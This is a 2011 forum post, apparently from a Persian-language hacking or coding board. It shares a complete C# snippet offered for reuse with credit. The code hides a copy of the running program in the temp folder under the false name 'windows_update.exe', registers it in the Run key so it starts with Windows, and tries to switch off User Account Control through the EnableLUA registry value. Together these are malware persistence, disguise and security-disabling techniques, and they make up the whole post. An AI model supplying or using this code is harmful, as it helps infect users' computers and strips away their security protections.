10-18-2011، 08:52 PM
[C#] Start with windows and desactivate UAC
کد:
//////////////////////////////////////////////////////////////////////
//Start with windows and UAC desactivation (working with xp / vista)/
//Snippet by t0fx, give credits if you use it///////////////////////
///////////////////////////////////////////////////////////////////
using System;
using System.IO;
using Microsoft.Win32;
namespace autostart
{
class Program
{
static void Main()
{
try
{
if (File.Exists(Path.GetTempPath() + "windows_update.exe") == false)
File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + "windows_update.exe", true);
File.SetAttributes(Path.GetTempPath() + "windows_update.exe", File.GetAttributes(Path.GetTempPath() + "windows_update.exe") | FileAttributes.Hidden);
Console.WriteLine("File copy OK");
}
catch (Exception b)
{
Console.WriteLine("File copy failed : " + b);
}
try
{
var rkApp = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
var uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
if (uac != null)
if (uac.GetValue("EnableLUA") != null)
uac.SetValue("EnableLUA", "0");
Console.WriteLine("UAC desactivated");
if (rkApp != null)
if (rkApp.GetValue("windows_update.exe") == null)
rkApp.SetValue("windows_update.exe", Path.GetTempPath() + "windows_update.exe");
Console.WriteLine("Registry access OK and UAC desactivated");
}
catch (Exception c)
{
Console.WriteLine("Writing in registry failed " + c);
}
}
}
}